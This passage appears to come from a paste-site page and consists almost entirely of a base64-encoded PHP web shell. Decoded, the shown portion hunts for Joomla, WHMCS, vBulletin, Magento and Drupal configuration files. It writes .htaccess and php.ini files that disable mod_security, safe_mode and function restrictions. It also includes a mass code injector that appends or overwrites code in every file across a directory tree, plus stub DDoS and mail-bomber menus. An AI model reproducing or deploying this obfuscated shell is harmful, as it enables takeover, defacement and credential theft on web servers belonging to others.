jOS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTAsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzEwLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOyAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMzLiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNC4iJyB0YXJnZXQ9J19ibGFuayc+Sm9vbWxhPC9hPiI7ICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDUsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzUuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA2LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM2LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNywnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDgsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkNsaWVudCBBcmVhPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTIsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkNsaWVudCBBcmVhPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTMsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPm9zQ29tbWVyY2UvWmVuIENhcnQ8L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YxNCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+TWFnZW50bzwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjE1LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5EcnVwYWw8L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+Jy4kY291bnQrKy4nPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LicuJGRvbWFpblsxXVswXS4nLz4nLiRkb21haW5bMV1bMF0uJzwvYT48L3RkPjx0ZD4nLiR1c2VyWyduYW1lJ10uJzwvdGQ+PHRkPicuJG91dC4nPC90ZD48L3RyPic7CiAgICAgICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRsPSRsPzA6MTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPC90YWJsZT4iOwogICAgICAgIH0KICAgICAgICBlY2hvICI8L2NlbnRlcj4iOyAgIAogICAgfQogICAgZWNobyAiPC9kaXY+IjsKICAgIHByaW50Rm9vdGVyKCk7Cn0gCgpmdW5jdGlvbiBhY3Rpb25CeXBhc3MoKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlNhZmUgTW9kZTwvaDE+JzsKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7CiAgICBlY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxoMz48c3Bhbj58IFNBRkUgTU9ERSBBTkQgTU9EIFNFQ1VSSVRZIERJU0FCTEVEIEFORCBQRVJMIDUwMCBJTlRFUk5BTCBFUlJPUiBCWVBBU1MgfDwvc3Bhbj48L2gzPkZvbGxvd2luZyBwaHAuaW5pIGFuZCAuaHRhY2Nlc3MobW9kKSBhbmQgcGVybCguaHRhY2Nlc3MpW2NvbnZlcnQgcGVybCBleHRlbnRpb24gKi5wbCA9PiAqLnNoICBdIGZpbGVzIGNyZWF0ZSBpbiBmb2xsb3dpbmcgZGlyPGJyPnwgIi4kR0xPQkFMU1snY3dkJ10uIiB8PGJyPjxiciAvPiI7CiAgICBlY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCdwaHAuaW5pXCcsbnVsbCkiPnwgUEhQLklOSSB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJ2luaVwnKSI+fCAuaHRhY2Nlc3MoTW9kKSB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwnc2hcJykiPnwgLmh0YWNjZXNzKHBlcmwpIHwgPC9hPjwvY2VudGVyPic7CiAgICBpZighZW1wdHkoJF9QT1NUWydwMiddKSAmJiBpc3NldCgkX1BPU1RbJ3AyJ10pKQogICAgewogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCJ3Iik7CiAgICAgICAgZndyaXRlKCRmaWwsJzxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz4KICAgICAgICAgICAgU2VjLS0tLS0tRW5naW5lIE9mZgogICAgICAgICAgICBTZWMtLS0tLS1TY2FuUE9TVCBPZmYKICAgICAgICAgICAgPC9JZk1vZHVsZT4nKTsKICAgICAgICBmY2xvc2UoJGZpbCk7CiAgIH0KICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkmJiBpc3NldCgkX1BPU1RbJ3AxJ10pKQogICB7CiAgICAgICAgJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uInBocC5pbmkiLCJ3Iik7CiAgICAgICAgZndyaXRlKCRmaWwsJ3NhZmVfbW9kZT1PRkYKICAgICAgICAgICAgZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORScpOwogICAgICAgIGZjbG9zZSgkZmlsKTsKICAgIH0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AzJ10pICYmIGlzc2V0KCRfUE9TVFsncDMnXSkpCiAgICB7CiAgICAgICAgJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uIi5odGFjY2VzcyIsInciKTsKICAgICAgICBmd3JpdGUoJGZpbCwnT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQogICAgICAgIEFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLnNoCiAgICAgICAgQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbAogICAgICAgIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAucGwnKTsKICAgICAgICBmY2xvc2UoJGZpbCk7IAogICAgfQogICAgZWNobyAiPGJyPjxiciAvPjxiciAvPjwvZGl2PiI7CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uRGRvcygpewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5ERG9TPC9oMT4nOwogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsKICAgIGVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGgzPjxzcGFuPlByZW1pdW0gRmVhdHVyZXMhISE8L3NwYW4+PC9oMz5XaWxsIGNvbWUgaW4gbmV4dCB2ZXJzaW9uLjxicj48YnIgLz4iOwogICAgZWNobyAiPGJyPjxiciAvPjxiciAvPjwvZGl2PiI7CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uTWFpbCgpewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5NYXNzIE1haWxlciBhbmQgTWFpbCBCb21iZXI8L2gxPic7CiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+UHJlbWl1bSBGZWF0dXJlcyEhITwvc3Bhbj48L2gzPldpbGwgY29tZSBpbiBuZXh0IHZlcnNpb24uPGJyPjxiciAvPiI7CiAgICBlY2hvICI8YnI+PGJyIC8+PGJyIC8+PC9kaXY+IjsKICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOyAgICAKfQoKZnVuY3Rpb24gYWN0aW9uSW5qZWN0b3IoKXsKICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+TWFzcyBDb2RlIEluamVjdG9yPC9oMT4nOwogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsKICAgIAogICAgaWYoc3RyaXN0cihwaHBfdW5hbWUoKSwiV2luZG93cyIpKSB7ICREUyA9ICJcXCI7IH0gZWxzZSBpZihzdHJpc3RyKHBocF91bmFtZSgpLCJMaW51eCIpKSB7ICREUyA9ICcvJzsgfQogICAgZnVuY3Rpb24gZ2V0X3N0cnVjdHVyZSgkcGF0aCwkZGVwdGgpIHsKICAgICAgICBnbG9iYWwgJERTOwogICAgICAgICRyZXMgPSBhcnJheSgpOwogICAgICAgIGlmKGluX2FycmF5KDAsICRkZXB0aCkpIHsgJHJlc1tdID0gJHBhdGg7IH0KICAgICAgICBpZihpbl9hcnJheSgxLCAkZGVwdGgpIG9yIGluX2FycmF5KDIsICRkZXB0aCkgb3IgaW5fYXJyYXkoMywgJGRlcHRoKSkgewogICAgICAgICAgICAkdG1wMSA9IGdsb2IoJHBhdGguJERTLicqJyxHTE9CX09OTFlESVIpOwogICAgICAgICAgICBpZihpbl9hcnJheSgxLCAkZGVwdGgpKSB7ICRyZXMgPSBhcnJheV9tZXJnZSgkcmVzLCR0bXAxKTsgfQogICAgICAgIH0KICAgICAgICBpZihpbl9hcnJheSgyLCAkZGVwdGgpIG9yIGluX2FycmF5KDMsICRkZXB0aCkpIHsKICAgICAgICAgICAgJHRtcDIgPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoKCR0bXAxIGFzICR0KXsKICAgICAgICAgICAgICAgICR0cDIgPSBnbG9iKCR0LiREUy4nKicsR0xPQl9PTkxZRElSKTsKICAgICAgICAgICAgICAgICR0bXAyID0gYXJyYXlfbWVyZ2UoJHRtcDIsICR0cDIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmKGluX2FycmF5KDIsICRkZXB0aCkpIHsgJHJlcyA9IGFycmF5X21lcmdlKCRyZXMsJHRtcDIpOyB9CiAgICAgICAgfQogICAgICAgIGlmKGluX2FycmF5KDMsICRkZXB0aCkpIHsKICAgICAgICAgICAgJHRtcDMgPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoKCR0bXAyIGFzICR0KXsKICAgICAgICAgICAgICAgICR0cDMgPSBnbG9iKCR0LiREUy4nKicsR0xPQl9PTkxZRElSKTsKICAgICAgICAgICAgICAgICR0bXAzID0gYXJyYXlfbWVyZ2UoJHRtcDMsICR0cDMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRyZXMgPSBhcnJheV9tZXJnZSgkcmVzLCR0bXAzKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRyZXM7CiAgICB9CgogICAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkgJiYgJF9QT1NUWydzdWJtaXQnXT09J0luamVjdCcpIHsKICAgICAgICAkbmFtZSA9ICRfUE9TVFsnbmFtZSddID8gJF9QT1NUWyduYW1lJ10gOiAnKic7CiAgICAgICAgJHR5cGUgPSAkX1BPU1RbJ3R5cGUnXSA/ICRfUE9TVFsndHlwZSddIDogJ2h0bWwnOwogICAgICAgICRwYXRoID0gJF9QT1NUWydwYXRoJ10gPyAkX1BPU1RbJ3BhdGgnXSA6IGdldGN3ZCgpOwogICAgICAgICRjb2RlID0gJF9QT1NUWydjb2RlJ10gPyAkX1BPU1RbJ2NvZGUnXSA6ICczeHAxcjMgQ3liZXIgQXJteSc7CiAgICAgICAgJG1vZGUgPSAkX1BPU1RbJ21vZGUnXSA/ICRfUE9TVFsnbW9kZSddIDogJ2EnOwogICAgICAgICRkZXB0aCA9IHNpemVvZigkX1BPU1RbJ2RlcHRoJ10pID8gJF9QT1NUWydkZXB0aCddIDogYXJyYXkoJzAnKTsKICAgICAgICAkZHQgPSBnZXRfc3RydWN0dXJlKCRwYXRoLCRkZXB0aCk7CiAgICAgICAgZm9yZWFjaCAoJGR0IGFzICRkKSB7CiAgICAgICAgICAgIGlmKCRtb2RlID09ICdhJykgewogICAgICAgICAgICAgICAgaWYoZmlsZV9wdXRfY29udGVudHMoJGQuJERTLiRuYW1lLicuJy4kdHlwZSwgJGNvZGUsIEZJTEVfQVBQRU5EKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXY+PHN0cm9uZz4nLiRkLiREUy4kbmFtZS4nLicuJHR5cGUuJzwvc3Ryb25nPjxzcGFuIHN0eWxlPSJjb2xvcjojYTNlOTU2OyI+IHdhcyBpbmplY3RlZDwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxzcGFuIHN0eWxlPSJjb2xvcjpyZWQ7Ij5mYWlsZWQgdG8gaW5qZWN0PC9zcGFuPiA8c3Ryb25nPicuJGQuJERTLiRuYW1lLicuJy4kdHlwZS4nPC9zdHJvbmc+PC9kaXY+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmKGZpbGVfcHV0X2NvbnRlbnRzKCRkLiREUy4kbmFtZS4nLicuJHR5cGUsICRjb2RlKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXY+PHN0cm9uZz4nLiRkLiREUy4kbmFtZS4nLicuJHR5cGUuJzwvc3Ryb25nPjxzcGFuIHN0eWxlPSJjb2xvcjojYTNlOTU2OyI+IHdhcyBpbmplY3RlZDwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxzcGFuIHN0eWxlPSJjb2xvcjpyZWQ7Ij5mYWlsZWQgdG8gaW5qZWN0PC9zcGFuPiA8c3Ryb25nPicuJGQuJERTLiRuYW1lLicuJy4kdHlwZS4nPC9zdHJvbmc+PC9kaXY+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSAgICAgICAgCiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KICAgICAgICAgICAgICAgIDx0YWJsZSBhbGlnbj0iY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5EaXJlY3RvcnkgOiA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IGNsYXNzPSJib3giIG5hbWU9InBhdGgiIHZhbHVlPSInLmdldGN3ZCgpLiciIHNpemU9IjUwIi8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+TW9kZSA6IDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3Qgc3R5bGU9IndpZHRoOiAxMDBweDsiIG5hbWU9Im1vZGUiIGNsYXNzPSJib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImEiPkFwZW5kZXI8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ3Ij5PdmVyd3JpdGVyPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+RmlsZSBOYW1lICYgVHlwZSA6IDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6IDEwMHB4OyIgbmFtZT0ibmFtZSIgdmFsdWU9IioiLz4mbmJzcDsmbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3Qgc3R5bGU9IndpZHRoOiAxMDBweDsiIG5hbWU9InR5cGUiIGNsYXNzPSJib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iaHRtbCI+SFRNTDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iaHRtIj5IVE08L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InBocCIgc2VsZWN0ZWQ9InNlbGVjdGVkIj5QSFA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImFzcCI+QVNQPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJhc3B4Ij5BU1BYPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ4bWwiPlhNTDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idHh0Ij5UWFQ8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+Q29kZSBJbmplY3QgRGVwdGggOiA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImRlcHRoW10iIHZhbHVlPSIwIiBjaGVja2VkPSJjaGVja2VkIi8+Jm5ic3A7MCZuYnNwOyZuYnNwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZXB0aFtdIiB2YWx1ZT0iMSIvPiZuYnNwOzEmbmJzcDsmbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZGVwdGhbXSIgdmFsdWU9IjIiLz4mbmJzcDsyJm5ic3A7Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImRlcHRoW10iIHZhbHVlPSIzIi8+Jm5ic3A7MwogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+ICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj48dGV4dGFyZWEgbmFtZT0iY29kZSIgY29scz0iNzAiIHJvd3M9IjEwIiBjbGFzcz0iYm94Ij48L3RleHRhcmVhPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4gICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iSW5qZWN0b3IiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYyIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icDEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icDIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2hhcnNldCIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9InBhZGRpbmcgOjVweDsgd2lkdGg6MTAwcHg7IiBuYW1lPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkluamVjdCIvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC9mb3JtPic7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApCiAgICBpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpCiAgICAgICAgJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247CiAgICBlbHNlCiAgICAgICAgJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7CmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApCiAgICBjYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKQo/Pg==")); ?>
Add Comment
Please, Sign In to add comment